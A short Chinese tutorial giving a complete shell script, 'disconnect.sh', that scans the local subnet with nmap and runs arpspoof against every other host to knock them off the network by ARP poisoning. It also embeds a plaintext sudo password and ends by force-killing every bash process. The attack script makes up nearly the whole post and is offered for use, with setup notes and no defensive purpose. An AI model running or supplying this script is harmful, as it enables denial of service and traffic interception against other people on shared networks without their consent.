1.新建disconnect.sh文件
2.对文件赋权
chmod a+u+x disconnect.sh
3.批处理内容
#!/bin/sh
#局域网在线ip集合
ips=`ifconfig eth0 | awk 'NR == 2 {print $6"/24"}' | xargs nmap -sP | grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}" | sed -e ':label;N;s/\n/ /;b label'`
# 网关ip
gatewayip=`ip route | grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}"| awk 'NR == 1 {print $0}'`
# 自己的ip
selfip=`ifconfig eth0 | awk 'NR == 2 {print $2}'`
# 循环执行操作
for ip1 in $ips
do
if test $ip1 != $selfip;
then
gnome-terminal --geometry=80x50+5+5 -x bash -c 'echo "mx123456"|sudo -S arpspoof -i eth0 -t '$ip1' '$gatewayip';exec bash;'
fi
done
# 输入控制关闭所有终端
read -p "请您输入" NUM1
ids=`ps -ef | grep "bash" | awk '{print $2}'`
for id in $ids
do
kill -9 $id
done
4.备注
1.对于不存在的软件使用(apt-get install 软件名)安装对应的软件
2.批处理内容中的mx123456为对应的用户密码
3.执行命令的窗口为主程序,主程序输入任意字符即可停止程序